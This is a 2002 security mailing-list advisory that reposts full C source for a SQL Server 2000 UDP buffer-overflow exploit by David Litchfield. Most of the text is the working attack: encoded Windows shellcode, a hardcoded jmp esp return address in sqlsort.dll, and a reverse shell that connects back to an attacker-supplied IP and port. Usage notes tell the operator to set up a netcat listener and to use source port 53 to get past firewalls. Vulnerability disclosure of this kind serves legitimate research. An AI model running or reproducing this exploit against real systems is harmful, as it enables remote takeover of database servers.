[EXPL] Advanced Windows Shellcode

From: support@securiteam.com
Date: 08/21/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 21 Aug 2002 16:09:32 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Advanced Windows Shellcode
------------------------------------------------------------------------

SUMMARY

Traditional windows shellcode uses pipes for stdin, stdout and stderr and
consequently the size of the exploit is c. 600 to 700 bytes. Rather than
creating some pipes though one can create a socket using WSASocket() and
use this socket as the handle to stdinm stdout and stderr. This
considerably reduces the size of the code. If you hard code addresses etc
(in other words you know the OS and OS Service pack of the target system)
you can get the exploit code down to 160 bytes.

This code here uses GetProcAddress and LoadLibrary to be platform
independent though and is c. 300 bytes. David has not optimized it in
anyway and there are indeed many unneeded bytes used.

DETAILS

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
"\x58";

int main(int argc, char *argv[])
{
 unsigned int ErrorLevel=0,len=0,c =0;
 int count = 0;
 char sc[300]="";
 char ipaddress[40]="";
 unsigned short port = 0;
 unsigned int ip = 0;
 char *ipt="";
 char buffer[400]="";
 unsigned short prt=0;
 char *prtt="";

 if(argc != 2 && argc != 5)
  {
   printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
Code");
   printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
sp",argv[0]);
   printf("\n\n\tYou need to set nectat listening on a port");
   printf("\n\tthat you want the reverse shell to connect to");
   printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
   printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53
0",argv[0]);
   printf("\n\n\tAssuming, of course, your IP address is
199.199.199.199\n");
   printf("\n\tWe set the source UDP port to 53 so this should go
through");
   printf("\n\tmost firewalls - looks like a reply to a DNS query.
Change");
   printf("\n\tthe source code if you want to modify this.");
   printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
   printf("\n\tWith no service pack the import address entry for");
   printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
   printf("\n\tchange one byte of the exploit code to reflect this.");
   printf("\n\n\n\tDavid Litchfield\n\tdavid@ngssoftware.com\n\t22nd May
2002\n\n\n\n");
   return 0;
  }

 strncpy(host,argv[1],250);
 if(argc == 5)
  {
   strncpy(ipaddress,argv[2],36);

   port = atoi(argv[3]);
   // SQL Server 2000 Service pack level
   // The import entry for GetProcAddress in sqlsort.dll
   // is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
   // Need to set the last byte accordingly
   if(argv[4][0] == 0x30)
    {
     printf("Service Pack 0. Import address entry for GetProcAddress @
0x42ae1010\n");
     exploit_code[9]=0x10;
    }
   else
    {
     printf("Service Pack 1 or 2. Import address entry for GetProcAddress
@ 0x42ae101C\n");
    }

  }

 ErrorLevel = StartWinsock();
 if(ErrorLevel==0)
  {
   printf("Error starting Winsock.\n");
   return 0;
  }
 if(argc == 2)
  {
   strcpy(request,ping);

   GainControlOfSQL();
   return 0;
  }

 strcpy(buffer,exploit_code);

 // set this IP address to connect back to
 // this should be your address
 ip = inet_addr(ipaddress);
 ipt = (char*)&ip;
 buffer[142]=ipt[0];
 buffer[143]=ipt[1];
 buffer[144]=ipt[2];
 buffer[145]=ipt[3];

 // set the TCP port to connect on
 // netcat should be listening on this port
 // e.g. nc -l -p 80

 prt = htons(port);
 prt = prt ^ 0xFFFF;
 prtt = (char *) &prt;
 buffer[160]=prtt[0];
 buffer[161]=prtt[1];

strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

 // Overwrite the saved return address on the stack
 // This address contains a jmp esp instruction
 // and is in sqlsort.dll.

 strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

 // Need to do a near jump
 strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

 // Need to set an address which is writable or
 // sql server will crash before we can exploit
 // the overrun. Rather than choosing an address
 // on the stack which could be anywhere we'll
 // use an address in the .data segment of sqlsort.dll
 // as we're already using sqlsort for the saved
 // return address

 // SQL 2000 no service packs needs the address here
 strcat(request,"\x01\x70\xAE\x42");

 // SQL 2000 Service Pack 2 needs the address here
 strcat(request,"\x01\x70\xAE\x42");

 // just a few nops
 strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

 // tack on exploit code to the end of our request
 // and fire it off
 strcat(request,buffer);

 GainControlOfSQL();

 return 0;

}

int StartWinsock()
{
 int err=0;
 WORD wVersionRequested;
 WSADATA wsaData;

 wVersionRequested = MAKEWORD( 2, 0 );
 err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
  {
   return 0;
  }
 if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
    {
        WSACleanup( );
        return 0;
  }

 if (isalpha(host[0]))
    {
   he = gethostbyname(host);
    }
 else
  {
   addr = inet_addr(host);
   he = gethostbyaddr((char *)&addr,4,AF_INET);
  }

 if (he == NULL)
    {
   return 0;
    }

 s_sa.sin_addr.s_addr=INADDR_ANY;
 s_sa.sin_family=AF_INET;
 memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
 return 1;
}

int GainControlOfSQL(void)
{

 SOCKET c_sock;

 char resp[600]="";
 char *ptr;
 char *foo;
 int snd=0,rcv=0,count=0, var=0;
 unsigned int ttlbytes=0;
 unsigned int to=2000;
 struct sockaddr_in srv_addr,cli_addr;
 LPSERVENT srv_info;
 LPHOSTENT host_info;
 SOCKET cli_sock;

 cli_sock=socket(AF_INET,SOCK_DGRAM,0);
 if (cli_sock==INVALID_SOCKET)
  {
       return printf(" sock error");
      }

 cli_addr.sin_family=AF_INET;
 cli_addr.sin_addr.s_addr=INADDR_ANY;
 cli_addr.sin_port=htons((unsigned short)53);

 setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
int));
 if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
  {
       return printf("bind error");
      }

 s_sa.sin_port=htons((unsigned short)SQLUDPPort);

 if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
  {
   return printf("Connect error");
  }

 else
  {
       snd=send(cli_sock, request , strlen (request) , 0);
   printf("Packet sent!\nIf you don't have a shell it didn't work.");
   rcv = recv(cli_sock,resp,596,0);
   if(rcv > 1)
    {
     while(count < rcv)
      {
       if(resp[count]==0x00)
        resp[count]=0x20;
       count++;
      }
     printf("%s",resp);
    }
  }
 closesocket(cli_sock);
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:david@ngssoftware.com> David
Litchfield.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages